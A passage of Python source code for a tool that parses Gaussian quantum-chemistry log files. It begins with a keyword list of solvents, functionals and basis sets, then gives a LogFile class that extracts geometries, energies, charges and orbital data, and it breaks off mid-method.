'2-butanol', '2-chlorobutane', '2-dibromoethane',\n    '2-dichloroethene', '2-dimethylcyclohexane', '2-ethanediol', '2-heptanone', '2-hexanone',\n    '2-methoxyethanol', '2-methyl-1-propanol', '2-methyl-2-propanol', '2-methylpentane',\n    '2-methylpyridine', '2-nitropropane', '2-octanone', '2-pentanone', '2-propanol', '2-propen-1-ol',\n    '2-trichloroethane', '2-trifluoroethanol', '3-methylpyridine', '3-pentanone', '4-dimethylpentane',\n    '4-dimethylpyridine', '4-dioxane', '4-heptanone', '4-methyl-2-pentanone', '4-methylpyridine',\n    '4-trimethylbenzene', '4-trimethylpentane', '5-nonanone', '6-dimethylpyridine', 'a-chlorotoluene',\n    'aceticacid', 'acetone', 'acetonitrile', 'acetophenone', 'allcheck', 'aniline', 'anisole', 'apfd',\n    'argon', 'b1b95', 'b1lyp', 'b3lyp', 'b3p86', 'b3pw91', 'b971', 'b972', 'b97d', 'b97d3', 'benzaldehyde',\n    'benzene', 'benzonitrile', 'benzylalcohol', 'betanatural', 'bhandh', 'bhandhlyp', 'bromobenzene',\n    'bromoethane', 'bromoform', 'butanal', 'butanoicacid', 'butanone', 'butanonitrile', 'butylamine',\n    'butylethanoate', 'calcall', 'calcfc', 'cam-b3lyp', 'carbondisulfide', 'carbontetrachloride',\n    'cartesian', 'checkpoint', 'chkbasis', 'chlorobenzene', 'chloroform', 'cis-1', 'cis-decalin',\n    'connectivity', 'counterpoise', 'cyclohexane', 'cyclohexanone', 'cyclopentane', 'cyclopentanol',\n    'cyclopentanone', 'd95v', 'decalin-mixture', 'def2qzv', 'def2qzvp', 'def2qzvpp', 'def2sv', 'def2svp',\n    'def2svpp', 'def2tzv', 'def2tzvp', 'def2tzvpp', 'density', 'densityfit', 'dibromomethane',\n    'dibutylether', 'dichloroethane', 'dichloromethane', 'diethylamine', 'diethylether', 'diethylsulfide',\n    'diiodomethane', 'diisopropylether', 'dimethyldisulfide', 'dimethylsulfoxide', 'diphenylether',\n    'dipropylamine', 'e-2-pentene', 'empiricaldispersion', 'ethanethiol', 'ethanol', 'ethylbenzene',\n    'ethylethanoate', 'ethylmethanoate', 'ethylphenylether', 'extrabasis', 'extradensitybasis', 'finegrid',\n    'fluorobenzene', 'formamide', 'formicacid', 'freq', 'full', 'gd3bj', 'genecp', 'geom', 'gfinput',\n    'gfprint', 'hcth', 'hcth147', 'hcth407', 'hcth93', 'heptane', 'hexanoicacid', 'hissbpbe', 'hseh1pbe',\n    'integral', 'iodobenzene', 'iodoethane', 'iodomethane', 'isopropylbenzene', 'isoquinoline', 'kcis',\n    'krypton', 'lanl2dz', 'lanl2mb', 'lc-wpbe', 'loose', 'm-cresol', 'm-xylene', 'm062x', 'm06hf', 'm06l',\n    'm11l', 'maxcycles', 'maxstep', 'mesitylene', 'methanol', 'methylbenzoate', 'methylbutanoate',\n    'methylcyclohexane', 'methylethanoate', 'methylmethanoate', 'methylpropanoate', 'minimal', 'mn12l',\n    'mn12sx', 'modredundant', 'mpw1lyp', 'mpw1pbe', 'mpw1pw91', 'mpw3pbe', 'n-butylbenzene', 'n-decane',\n    'n-dimethylacetamide', 'n-dimethylformamide', 'n-dodecane', 'n-hexadecane', 'n-hexane',\n    'n-methylaniline', 'n-methylformamide-mixture', 'n-nonane', 'n-octane', 'n-octanol', 'n-pentadecane',\n    'n-pentane', 'n-undecane', 'n12sx', 'nitrobenzene', 'nitroethane', 'nitromethane', 'noeigentest',\n    'nofreeze', 'noraman', 'nosymm', 'nprocshared', 'o-chlorotoluene', 'o-cresol', 'o-dichlorobenzene',\n    'o-nitrotoluene', 'o-xylene', 'o3lyp', 'ohse1pbe', 'ohse2pbe', 'oniom', 'output', 'p-isopropyltoluene',\n    'p-xylene', 'pbe1pbe', 'pbeh', 'pbeh1pbe', 'pentanal', 'pentanoicacid', 'pentylamine',\n    'pentylethanoate', 'perfluorobenzene', 'pkzb', 'population', 'propanal', 'propanoicacid',\n    'propanonitrile', 'propylamine', 'propylethanoate', 'pseudo', 'pw91', 'pyridine', 'qst2', 'qst3',\n    'quinoline', 'qzvp', 'rdopt', 'read', 'readfc', 'readfreeze', 'readopt', 'readoptimize', 'regular',\n    'restart', 's-dioxide', 'savemixed', 'savemulliken', 'savenbos', 'savenlmos', 'scrf', 'sddall',\n    'sec-butylbenzene', 'sogga11', 'sogga11x', 'solvent', 'spinnatural', 'tert-butylbenzene',\n    'tetrachloroethene', 'tetrahydrofuran', 'tetrahydrothiophene-s', 'tetralin', 'thcth', 'thcthhyb',\n    'thiophene', 'thiophenol', 'tight', 'toluene', 'tpss', 'tpssh', 'trans-decalin', 'tributylphosphate',\n    'trichloroethene', 'triethylamine', 'tzvp', 'ultrafine', 'uncharged', 'v5lyp', 'verytight', 'vp86',\n    'vsxc', 'vwn5', 'water', 'wb97', 'wb97x', 'wb97xd', 'wpbeh', 'x3lyp', 'xalpha', 'xenon',\n    'xylene-mixture']\n#GENERAL PURPOSE FUNCTIONS\ndef is_str_float(i):\n\t\"\"\"Check if a string can be converted into a float\"\"\"\n\ttry: float(i); return True\n\texcept ValueError: return False\n\texcept TypeError: return False\ndef trim_str(string, max_len=40):\n\tassert type(string) == str\n\tassert type(max_len) == int\n\tif len(string) > max_len: return \"...\" + string[-max_len:]\n\telse: return string\ndef read_item(file_name):\n\t\"\"\"Reads an .xyz, .gjf, .com or .log item and returns a list of its contents ready for class instantiation\"\"\"\n\twith open(file_name,\"r\") as in_file:\n\t\tin_content = [file_name]\n\t\tin_content.extend(list(in_file.read().splitlines()))\n\treturn in_content\ndef lock_release(func):\n\tdef new_func(*args, **kw):\n\t\tglobal frame_a, frame_b\n\t\tif frame_a.lock or frame_b.lock: return None\n\t\tframe_a.lock, frame_b.lock = True, True\n\t\tfor a in frame_a.check_buttons: a.config(state=tk.DISABLED)\n\t\tfor a in frame_b.check_buttons: a.config(state=tk.DISABLED)\n\t\tfor a in frame_a.buttons: a.config(state=tk.DISABLED)\n\t\tfor a in frame_b.buttons: a.config(state=tk.DISABLED)\n\t\tresult = func(*args, **kw)\n\t\tfor a in frame_a.check_buttons: a.config(state=tk.NORMAL)\n\t\tfor a in frame_b.check_buttons: a.config(state=tk.NORMAL)\n\t\tfor a in frame_a.buttons: a.config(state=tk.NORMAL)\n\t\tfor a in frame_b.buttons: a.config(state=tk.NORMAL)\n\t\tframe_a.lock, frame_b.lock = False, False\n\t\treturn result\n\treturn new_func\n#DATA FILE CLASSES\nclass LogFile:\n\tcalc_types = [\"TS\",\"Red\",\"IRC\",\"Opt\",\"SP\"]\n\tdef __init__(self,file_content,fragment_link_one=False):\n\t\tself.list = file_content\n\t\tself.lenght = len(self.list)\n\t\tself.name = self.list[0].strip()\n\t\tself.empty_line_idxs = []\n\t\tself.charge_mult = None\n\t\tself.input_geom_idx = None\n\t\tself.start_xyz_idxs = []\n\t\tself.end_resume_idxs = []\n\t\tself.start_resume_idxs = []\n\t\tself.linked_job_idxs = []\n\t\tself.multi_dash_idxs =[]\n\t\tself.scf_done = []\n\t\t####.thermal = [\"ZPC\",\"TCE\",\"TCH\",\"TCG\",\"SZPE\",\"STE\",\"STH\",\"STG\"]\n\t\tself.thermal = [None, None, None, None, None , None, None, None]\n\t\tself.oc_orb_energies = []\n\t\tself.uno_orb_energies = []\n\t\tself.hash_line_idxs = []\n\t\tself.norm_term_idxs = []\n\t\tself.errors = []\n\t\tself.irc_points = []\n\t\tself.scan_points = []\n\t\tself.opt_points = []\n\t\tself.force_const_mat = []\n\t\tself.distance_matrix = []\n\t\tself.s_squared = []\n\t\tself.muliken_spin_densities_idxs = []\n\t\tself.muliken_charge_idxs = []\n\t\tself.chelpg_charge_idxs = []\n\t\tself.pop_analysis_idxs = []\n\t\tself.npa_start_idxs = []\n\t\tself.npa_end_idxs = []\n\t\tself.apt_charge_idxs =[]\n\t\tfor i,a in enumerate(a.strip() for a in self.list):\n\t\t\t# i = index\n\t\t\t# a = line.strip()\n\t\t\t# b = line.split()\n\t\t\t# c = len(b)\n\t\t\tif a == \"\":                                                         self.empty_line_idxs.append(i); continue\n\t\t\tif a[-1] == \"@\":                                                    self.end_resume_idxs.append(i); continue\n\t\t\telif a[0] == \"1\":\n\t\t\t\tif a.startswith(r\"1\\1\"):                                      self.start_resume_idxs.append(i); continue\n\t\t\tif a[0].isdigit() or a[0].islower():                                                                continue\n\t\t\telif a[0] == \"-\":\n\t\t\t\tif a.startswith(\"------\"):                                      self.multi_dash_idxs.append(i); continue\n\t\t\telif a[0] == \"!\":\n\t\t\t\tb = a.split(); c = len(b)\n\t\t\t\tif c == 4:\n\t\t\t\t\tcondition_a = all(x in y for x,y in zip(b,(\"!\",[\"Optimized\",\"Non-Optimized\"],\"Parameters\",\"!\")))\n\t\t\t\t\tif condition_a:                                          self.scan_points.append([i,b[1]]); continue\n\t\t\telif a[0] == \"A\":\n\t\t\t\ttext_a = \"Alpha  occ. eigenvalues --\"\n\t\t\t\ttext_b = \"Alpha virt. eigenvalues --\"\n\t\t\t\ttext_c = \"Atom  No          Natural Electron Configuration\"\n\t\t\t\ttext_d = \"APT charges:\"\n\t\t\t\tif a.startswith(text_a):                                        self.oc_orb_energies.append(i); continue\n\t\t\t\telif a.startswith(text_b):                                     self.uno_orb_energies.append(i); continue\n\t\t\t\telif a.split() == text_c.split():                                  self.npa_end_idxs.append(i); continue\n\t\t\t\telif a.startswith(text_d):                                      self.apt_charge_idxs.append(i); continue\n\n\t\t\telif a[0] == \"C\":\n\t\t\t\tb = a.split(); c = len(b)\n\t\t\t\tif all((a.startswith(\"Charge\"),self.charge_mult is None, c == 6)):\n\t\t\t\t\tpattern = (\"Charge\", \"=\", \"Multiplicity\", \"=\")\n\t\t\t\t\tif all(x == b[n] for x,n in zip(pattern,(0,1,3,4))):\n\t\t\t\t\t\tself.input_geom_idx = i;                                    self.charge_mult = b[2::3]; continue\n\t\t\telif a[0] == \"D\":\n\t\t\t\tif a.startswith(\"Distance matrix (angstroms):\"):   \t\t\t\tself.distance_matrix.append(i); continue\n\t\t\telif a[0] == \"E\":\n\t\t\t\tif a.startswith(\"Error\"):                                                self.errors.append(i); continue\n\t\t\t\telif a.startswith(\"ESP charges:\"):                           self.chelpg_charge_idxs.append(i);continue\n\t\t\telif a[0] == \"F\":\n\t\t\t\tif a.startswith(\"Full mass-weighted force constant matrix:\"):   self.force_const_mat.append(i); continue\n\t\t\telif a[0] == \"I\":\n\t\t\t\tif a == \"Input orientation:\":                                self.start_xyz_idxs.append(i + 5); continue\n\t\t\telif a[0] == \"L\":\n\t\t\t\tif a.startswith(\"Link1:\"):\n\t\t\t\t\tself.linked_job_idxs.append(i)\n\t\t\t\t\tif fragment_link_one:\n\t\t\t\t\t\tself.lenght = len(self.list[:i])\n\t\t\t\t\t\tself.link_one = [self.list[0]]\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t_ = self.list[i+1]\n\t\t\t\t\t\t\tself.link_one.extend(self.list[i + 1:])\n\t\t\t\t\t\t\tself.link_one = LogFile(self.link_one,fragment_link_one)\n\t\t\t\t\t\t\tself.list = self.list[:i]\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\texcept IndexError:\n\t\t\t\t\t\t\tpass\n\t\t\telif a[0] == \"N\":\n\t\t\t\tif a.startswith(\"Normal termination of Gaussian\"):               self.norm_term_idxs.append(i); continue\n\t\t\telif a[0] == \"M\":\n\t\t\t\tif a.startswith(\"Mulliken charges and spin densities:\"):\n\t\t\t\t\tpass;                                           self.muliken_spin_densities_idxs.append(i); continue\n\t\t\t\telif a.startswith(\"Mulliken charges:\"):\n\t\t\t\t\tpass;                                                    self.muliken_charge_idxs.append(i);continue\n\t\t\t\telif a.startswith(\"Molecular Orbital Coefficients:\"):\n\t\t\t\t\tpass;                                                      self.pop_analysis_idxs.append(i);continue\n\t\t\telif a[0] == \"P\":\n\t\t\t\tb = a.split(); c = len(b)\n\t\t\t\tif c != 6 or any(x != b[n] for x,n in zip([\"Point\",\"Number:\",\"Path\",\"Number:\"],[0,1,3,4])):     continue\n\t\t\t\tif any(not b[n].isnumeric() for n in [2, 5]):                                                   continue\n\t\t\t\telse:                                                  self.irc_points.append([i, b[5], b[2]]); continue\n\t\t\telif a[0] == \"S\":\n\t\t\t\tb = a.split(); c = len(b)\n\t\t\t\tif a == \"Standard orientation:\":                             self.start_xyz_idxs.append(i + 5); continue\n\t\t\t\telif a.startswith(\"SCF Done:\") and c > 5:                       self.scf_done.append([i,b[4]]); continue\n\t\t\t\telif a.startswith(\"S**2 before annihil\"):self.s_squared.append([i,b[3].replace(\",\",\"\"),b[-1]]); continue\n\t\t\t\telif a.startswith(\"Sum of electronic and zero-point Energies=\"):       self.thermal[4] = b[-1]; continue\n\t\t\t\telif a.startswith(\"Sum of electronic and thermal Energies=\"):          self.thermal[5] = b[-1]; continue\n\t\t\t\telif a.startswith(\"Sum of electronic and thermal Enthalpies=\"):        self.thermal[6] = b[-1]; continue\n\t\t\t\telif a.startswith(\"Sum of electronic and thermal Free Energies=\"):     self.thermal[7] = b[-1]; continue\n\t\t\t\telif a.startswith(\"Step\") and c == 9:\n\t\t\t\t\tx = [\"Step\", \"number\", \"out\", \"of\", \"a\", \"maximum\", \"of\"]\n\t\t\t\t\ty = [0, 1, 3, 4, 5, 6, 7]\n\t\t\t\t\tz = all(b[n].isnumeric() for n in [2, 8])\n\t\t\t\t\tif all(d == b[n] for d,n in zip(x,y)) and z:                     self.opt_points.append(i); continue\n\t\t\telif a[0] == \"T\":\n\t\t\t\tb = a.split()\n\t\t\t\tif a.startswith(\"Thermal correction to Energy=\"):                      self.thermal[1] = b[-1]; continue\n\t\t\t\telif a.startswith(\"Thermal correction to Enthalpy=\"):                  self.thermal[2] = b[-1]; continue\n\t\t\t\telif a.startswith(\"Thermal correction to Gibbs Free Energy=\"):         self.thermal[3] = b[-1]; continue\n\t\t\telif a[0] == \"Z\":\n\t\t\t\tb = a.split()\n\t\t\t\tif a.startswith(\"Zero-point correction=\"):                             self.thermal[0] = b[-2]; continue\n\t\t\telif a[0] == \"#\":                                                    self.hash_line_idxs.append(i); continue\n\t\t\telif a[0] == \"*\":\n\t\t\t\tif a.replace(\"*\",\"\").startswith(\"Gaussian NBO Version 3.1\"):\n\t\t\t\t\tpass;                                                         self.npa_start_idxs.append(i);continue\n\t\t#--------------------------------------------POST PROCESSING----------------------------------------------------\n\t\tx = None if self.start_xyz_idxs is None else [min(a for a in self.multi_dash_idxs if a > b) for b in self.start_xyz_idxs]\n\t\tself.end_xyz_idxs = x\n\t\tself.scan_end = [min(a for a in self.multi_dash_idxs if a > b[0]) for b in self.scan_points]\n\t\ttry:\n\t\t\tx = [self.list[b:min(a for a in self.empty_line_idxs if a > b)] for b in self.force_const_mat]\n\t\t\tself.displ_block = x\n\t\texcept Exception as e:\n\t\t\tprint(\"Error while finding vibrational frequencies of log file\")\n\t\t\tprint(e)\n\t\t\tprint(self.name)\n\t\t\tself.displ_block = []\n\t\t# --------------------------------------------------ASSURANCE---------------------------------------------------\n\t\tself.init_errors = []\n\t\t#if self.charge_mult is None:\n\t\t#\tself.init_errors.append(\"Charge and multiplicity could not be identified!\")\n\t\t#if len(self.start_resume_idxs) != len(self.end_resume_idxs):\n\t\t#\tself.init_errors.append(\"Inconsistent resumes\")\n\t\t#if len(self.name.split()) != 1:\n\t\t#\tself.init_errors.append(\"Name should not contain empty spaces or be empty\")\n\t\t#if not self.list[1].strip().startswith(\"Entering Gaussian System\"):\n\t\t#\tself.init_errors.append(\"Is this a Gaussian log file?\")\n\t\t#if not self.start_xyz_idxs is None:\n\t\t#\tif len(self.start_xyz_idxs) != len(self.end_xyz_idxs):\n\t\t#\t\tself.init_errors.append(\"Found an inconsistent number of geometries\")\n\t\t#if not any([self.homo is None, self.lumo is None]):\n\t\t#\tif self.homo > self.lumo:\n\t\t#\t\tself.init_errors.append(\"Lumo is lower than homo?\")\n\t\t#if self.init_errors:\n\t\t#\tfor a in self.init_errors: print(a)\n\t\t#\tprint(\"Errors above were found on file\\n{}\".format(self.name))\n\t@functools.lru_cache(maxsize=1)\n\tdef loghelp(self):\n\t\tfor a in vars(self):\n\t\t\tif a != \"list\":\n\t\t\t\tprint(a.upper(),\"--->\",getattr(self,a))\n\t@functools.lru_cache(maxsize=1)\n\tdef xyz_cord_block(self,start_idx,end_idx):\n\t\tdata = [a.split() for a in self.list[start_idx:end_idx]]\n\t\treturn [[elements[int(l[1])],*[l[i] for i in [3,4,5]]] for l in data]\n\t@functools.lru_cache(maxsize=1)\n\tdef last_cord_block(self):\n\t\tif not all([self.xyz_cord_block, self.end_xyz_idxs]):\n\t\t\tif self.last_log_abstract:\n\t\t\t\tprint(\"WARNING: Coordinates will be taken from the last job abstract:\")\n\t\t\t\tprint(\"lines {} - {} of file:\".format(self.start_resume_idxs[-1],self.end_resume_idxs[-1]))\n\t\t\t\tprint(\"{}\".format(self.name))\n\t\t\t\treturn self.last_log_abstract.xyz_object().cord_block()\n\t\t\telse: return None\n\t\telse:\n\t\t\treturn self.xyz_cord_block(self.start_xyz_idxs[-1],self.end_xyz_idxs[-1])\n\t@functools.lru_cache(maxsize=1)\n\tdef first_cord_block(self):\n\t\tif not all([self.start_xyz_idxs,self.end_xyz_idxs]):\n\t\t\tif self.input_geom_idx:\n\t\t\t\tcoordinates = []\n\t\t\t\tfor i,a in enumerate(self.list[self.input_geom_idx:]):\n\t\t\t\t\tif i > 5 and not coordinates: break\n\t\t\t\t\ta = a.split()\n\t\t\t\t\tif len(a) == 4:\n\t\t\t\t\t\tif a[0] in elements and all(is_str_float(a[n]) for n in [1, 2, 3]):\n\t\t\t\t\t\t\tcoordinates.append(a)\n\t\t\t\t\t\telif coordinates: break\n\t\t\t\t\telif coordinates: break\n\t\t\t\treturn coordinates\n\t\t\telse: return None\n\t\telse:\n\t\t\treturn self.xyz_cord_block(self.start_xyz_idxs[0],self.end_xyz_idxs[0])\n\t@functools.lru_cache(maxsize=1)\n\tdef _n_atoms(self):\n\t\tif self.last_cord_block():\n\t\t\treturn len(self.last_cord_block())\n\t\telif self.first_cord_block():\n\t\t\treturn len(self.first_cord_block())\n\n\tdef any_xyz_obj(self,a_idx,b_idx,title=\" \",name=False):\n\t\tif name == False: name = self.name\n\t\treturn XyzFile([name, self.n_atoms, title, *(\" \".join(l) for l in self.xyz_cord_block(a_idx,b_idx))])\n\t@functools.lru_cache(maxsize=1)\n\tdef last_xyz_obj(self):\n\t\tif self.last_cord_block():\n\t\t\treturn XyzFile([self.name,self.n_atoms,\" \",*(\" \".join(l) for l in self.last_cord_block())])\n\t\telse:\n\t\t\treturn None\n\t@functools.lru_cache(maxsize=1)\n\tdef first_xyz_obj(self):\n\t\treturn XyzFile([self.name,self.n_atoms,\" \",*(\" \".join(l) for l in self.first_cord_block())])\n\t@functools.lru_cache(maxsize=1)\n\tdef low_e_xyz_obj(self):\n\t\tif self.calc_type == \"SP\": return None\n\t\telse:\n\t\t\txyzs = {\"TS\":self.opt,\"Red\":self.scan_geoms,\"IRC\":self.irc,\"Opt\":self.opt}[self.calc_type]()\n\t\t\tif len(xyzs) == 0: return None\n\t\t\telse: return sorted(xyzs,key= lambda x: float(x.title()) if is_str_float(x.title()) else 1)[0]\n\t@functools.lru_cache(maxsize=1)\n\tdef _calc_type(self):\n\t\tif self.raw_route:\n\t\t\tr_sect = self.raw_route_keys\n\t\t\tif any(a in r_sect for a in (\"ts\", \"qst2\",\"qst3\")): return \"TS\"\n\t\t\telif any(True for a in r_sect if a in (\"modredundant\", \"readoptimize\", \"readfreeze\")): return \"Red\"\n\t\t\telif \"irc\" in r_sect: return \"IRC\"\n\t\t\telif \"opt\" in r_sect: return \"Opt\"\n\t\t\telse: return \"SP\"\n\t\telse: return \"No data\"\n\t@functools.lru_cache(maxsize=1)\n\tdef _normal_termin(self):\n\t\treturn any(True if \"Normal termination of Gaussian\" in l else False for l in self.list[-5:])\n\tdef _error_msg(self):\n\t\terror_idxs = [a for a in self.errors if a + 5 > self.lenght]\n\t\tfor n in [-4,-3,-2,-1]:\n\t\t\tif self.list[n].strip().startswith(\"galloc:  could not allocate memory.\"):\n\t\t\t\terror_idxs.append(n)\n\t\tif error_idxs: return \" | \".join([self.list[n] for n in error_idxs])\n\t\telse: return \"No data\"\n\t@functools.lru_cache(maxsize=1)\n\tdef needs_ref(self):\n\t\tif self.calc_type == \"Opt\" and self.last_freq:\n\t\t\tif self.last_freq.n_ifreq() == \"0\": return \"No\"\n\t\t\telse: return \"Yes\"\n\t\telif self.calc_type == \"TS\" and self.last_freq:\n\t\t\tif self.last_freq.n_ifreq() == \"1\": return \"No\"\n\t\t\telse: return \"Yes\"\n\t\telse: return \"-\"\n\t@functools.lru_cache(maxsize=1)\n\tdef irc(self):\n\t\tif not all([self.start_xyz_idxs,self.end_xyz_idxs,self.irc_points,self.scf_done]): return []\n\t\tpoints = self.irc_points\n\t\tscf = [max(self.scf_done,key=lambda x: x[0] if x[0] < a[0] else 0)[1] for a in points]\n\t\ta_idx = [max(self.start_xyz_idxs,key=lambda x: x if x < a[0] else 0) for a in points]\n\t\tb_idx = [max(self.end_xyz_idxs,key=lambda x: x if x < a[0] else 0) for a in points]\n\t\tpoints = [[*d[1:],c,self.any_xyz_obj(a,b,title=c)] for a,b,c,d in zip(a_idx,b_idx,scf,points)]\n\t\tpath_a = sorted([a for a in points if a[0] == \"1\"], key = lambda x: int(x[1]), reverse=True)\n\t\tpath_b = [a for a in points if a[0] == \"2\"]\n\t\treturn [a[3] for a in [*path_a,*path_b]]\n\t@functools.lru_cache(maxsize=1)\n\tdef opt(self):\n\t\tif not all([self.start_xyz_idxs,self.end_xyz_idxs,self.opt_points,self.scf_done]): return []\n\t\tpoints = self.opt_points\n\t\tscf = [max(self.scf_done,key=lambda x: x[0] if x[0] < a else 0)[1] for a in points]\n\t\ta_idx = [max(self.start_xyz_idxs,key=lambda x: x if x < a else 0) for a in points]\n\t\tb_idx = [max(self.end_xyz_idxs,key=lambda x: x if x < a else 0) for a in points]\n\t\treturn [self.any_xyz_obj(a,b,title=c) for a,b,c in zip(a_idx,b_idx,scf)]\n\t@functools.lru_cache(maxsize=1)\n\tdef scan_geoms(self):\n\t\tif not all([self.start_xyz_idxs, self.end_xyz_idxs, self.scan_points, self.scf_done]): return []\n\t\tgeoms = []\n\t\tall_points = self.scan_points\n\t\tpoints = [a for a in all_points if a[0] < self.start_xyz_idxs[-1] and a[0] < self.end_xyz_idxs[-1]]\n\t\tpoints_removed = len(all_points) - len(points)\n\t\tif points_removed != 0:\n\t\t\tprint(f\"WARNING: {points_removed} Scan  points have been removed due to inconsistent number o geometries found\")\n\t\tstart_idx = [min(i for i in self.start_xyz_idxs if i > b[0])  for b in points]\n\t\tend_idx = [min(i for i in self.end_xyz_idxs if i > b[0]) for b in points]\n\t\tscf_idx = [max(i for i in self.scf_done if i[0] < b[0]) for b in points]\n\t\tfor i,(a,b,c,d) in enumerate(zip(start_idx,end_idx,scf_idx,points)):\n\t\t\tname = self.name.replace(\".log\",\"_\" + str(i+1)+\".xyz\")\n\t\t\tif d[1] == \"Optimized\": print(\"Optimized geometry found at line {}!\".format(d[0]))\n\t\t\telif d[1] == \"Non-Optimized\": print(\"Non-Optimized1 geometry found at line {}!\".format(d[0]))\n\t\t\tgeoms.append(self.any_xyz_obj(a,b,title=str(c[1]), name=name))\n\t\tif len(geoms) == 0:\n\t\t\tprint(\"No Optimized geometries found for {} file\".format(self.name()))\n\t\treturn geoms\n\t@functools.lru_cache(maxsize=1)\n\tdef _last_freq(self):\n\t\treturn LogFreq(self.displ_block[-1]) if self.displ_block else False\n\t@functools.lru_cache(maxsize=1)\n\tdef _last_log_abstract(self):\n\t\tif all([self.start_resume_idxs,self.end_resume_idxs]):\n\t\t\tx = [\"\".join([x.strip() for x in self.list[a:b]]).split(\"\\\\\") for a,b in zip(self.start_resume_idxs,self.end_resume_idxs)]\n\t\t\treturn LogAbstract(x[-1]) if x else None\n\t@functools.lru_cache(maxsize=1)\n\tdef _xyz_from_dist_matrix(self):\n\t\tend_idx = lambda x: next(i for i,a in enumerate(self.list[x+1:],start=x+1) if not a.split()[0].isdigit())\n\t\treturn [DistMatrix(self.list[a+1:end_idx(a)]) for a in self.distance_matrix]\n\t@functools.lru_cache(maxsize=1)\n\tdef _last_muliken_spin_density(self):\n\t\tif self.muliken_spin_densities_idxs:\n\t\t\tend_idx = lambda x: next(i for i, a in enumerate(self.list[x + 1:], start=x + 1) if not a.split()[0].isdigit())\n\t\t\treturn \"\\n\".join(self.list[self.muliken_spin_densities_idxs[-1]:end_idx(self.muliken_spin_densities_idxs[-1]+1)])\n\t@functools.lru_cache(maxsize=1)\n\tdef _last_internal_coord(self):\n\t\tif self.scan_points:\n\t\t\tend_idx = lambda x: next(i for i, a in enumerate(self.list[x + 1:], start=x + 1) if not a.strip().startswith(\"!\"))\n\t\t\treturn \"\\n\".join(self.list[self.scan_points[-1][0]-1:end_idx(self.scan_points[-1][0]+5)+1])\n\t@functools.lru_cache(maxsize=1)\n\tdef _last_muliken_charges(self):\n\t\tif self.muliken_charge_idxs:\n\t\t\tend_idx = lambda x: next(i for i, a in enumerate(self.list[x + 1:], start=x + 1) if not a.split()[0].isdigit())\n\t\t\treturn \"\\n\".join(self.list[self.muliken_charge_idxs[-1]:end_idx(self.muliken_charge_idxs[-1]+1)])\n\t@functools.lru_cache(maxsize=1)\n\tdef _last_chelpg_charges(self):\n\t\tif self.chelpg_charge_idxs:\n\t\t\tend_idx = lambda x: next(i for i, a in enumerate(self.list[x + 1:], start=x + 1) if not a.split()[0].isdigit())\n\t\t\treturn \"\\n\".join(self.list[self.chelpg_charge_idxs[-1]:end_idx(self.chelpg_charge_idxs[-1] + 1)])\n\t@functools.lru_cache(maxsize=1)\n\tdef _pop_analysis(self):\n\t\tif self.pop_analysis_idxs and self.muliken_charge_idxs:\n\t\t\treturn \"\\n\".join(self.list[self.pop_analysis_idxs[-1]:self.muliken_charge_idxs[-1]])\n\t@functools.lru_cache(maxsize=1)\n\tdef _npa_analysis(self):\n\t\tif self.npa_start_idxs and self.npa_end_idxs:\n\t\t\tif len(self.npa_start_idxs) > 1:\n\t\t\t\tend_idx = lambda x: next(i for i, a in enumerate(self.list[x + 1:], start=x + 1) if a.strip() == \"\")\n\t\t\t\treturn \"\\n\".join(self.list[self.npa_start_idxs[-2]:end_idx(self.npa_end_idxs[-1])])\n\t@functools.lru_cache(maxsize=1)\n\tdef _last_apt_charges(self):\n\t\tif self.apt_charge_idxs:\n\t\t\tend_idx = lambda x: next(i for i, a in enumerate(self.list[x + 1:], start=x + 1) if not a.split()[0].isdigit())\n\t\t\treturn \"\\n\".join(self.list[self.apt_charge_idxs[-1]:end_idx(self.apt_charge_idxs[-1]+1)])\n\t@functools.lru_cache(maxsize=1)\n\tdef _raw_route(self):\n\t\ttry:\n\t\t\traw_route =None\n\t\t\tx = None if self.hash_line_idxs is None else min(a for a in self.multi_dash_idxs if a > self.hash_line_idxs[0])\n\t\t\tx = None if self.hash_line_idxs is None else \"\".join([a.lstrip() for a in self.list[self.hash_line_idxs[0]:x]])\n\t\t\traw_route = \" \".join(x.split())\n\t\texcept IndexError as e:\n\t\t\traw_route = None\n\t\t\tprint(\"Error while finding route section of log file\")\n\t\t\tprint(e)\n\t\t\tprint(self.name)\n\t\tfinally:\n\t\t\treturn raw_route\n\t@functools.lru_cache(maxsize=1)\n\tdef _raw_route_keys(self):\n\t\tif not self.raw_route: return\n\t\tr_sect = [self.raw_route]\n\t\tfor x in [None, \"/\", \"(\", \")\", \",\", \"=\", \"%\", \":\"]:\n\t\t\tr_sect = [a for a in itertools.chain(*[i.split(x) for i in r_sect]) if len(a) > 1]\n\t\tr_sect = [a.lower() for a in r_sect]\n\t\treturn r_sect\n\n\tdef sep_conseq(self,mixed_list):\n\t\tx, group, new_list = None, [], []\n\t\tfor a in mixed_list:\n\t\t\tif x is None and group == []: group.append(a); x = a\n\t\t\telif x + 1 == a: group.append(a); x = a\n\t\t\telse: new_list.append(group); x = a; group = [a]\n\t\tnew_list.append(group)\n\t\treturn new_list\n\n\t@functools.lru_cache(maxsize=1)\n\tdef _homo(self):\n\t\ttry:\n\t\t\terror_a = f\"Inconsisten orbitals on file\\n{self.name}\"\n\t\t\tassert all(min(a) == max(b) + 1 for a, b in zip(self.sep_conseq(self.uno_orb_energies), self.sep_conseq(self.oc_orb_energies))), error_a\n\t\t\thomo = []\n\t\t\tfor structure in self.sep_conseq(self.oc_orb_energies):\n\t\t\t\torbitals =[]\n\t\t\t\tfor i in structure:\n\t\t\t\t\terror_b = f\"Could not identify occupied orbital on line {i}\\nFile:{self.name}\"\n\t\t\t\t\tassert self.list[i].lstrip().startswith(\"Alpha  occ. eigenvalues --\"), error_b\n\t\t\t\t\tfor a in self.list[i].replace(\"Alpha  occ. eigenvalues --\",\" \").replace(\"-\",\" -\").split():\n\t\t\t\t\t\torbitals.append(float(a))\n\t\t\t\thomo.append(max(orbitals))\n\t\t\treturn homo\n\t\texcept AssertionError:\n\t\t\treturn None\n\t\texcept ValueError as e:\n\t\t\tprint(f\"Error while looking for homo energy on file {self.name}\\n{e}\")\n\n\t@functools.lru_cache(maxsize=1)\n\tdef _lumo(self):\n\t\ttry:\n\t\t\terror_a = f\"Inconsisten orbitals on file\\n{self.name}\"\n\t\t\tassert all(min(a) == max(b) + 1 for a, b in zip(self.sep_conseq(self.uno_orb_energies), self.sep_conseq(self.oc_orb_energies))), error_a\n\t\t\tlumo = []\n\t\t\tfor structure in self.sep_conseq(self.uno_orb_energies):\n\t\t\t\torbitals = []\n\t\t\t\tfor i in structure:\n\t\t\t\t\terror_b = f\"Could not identify unoccupied 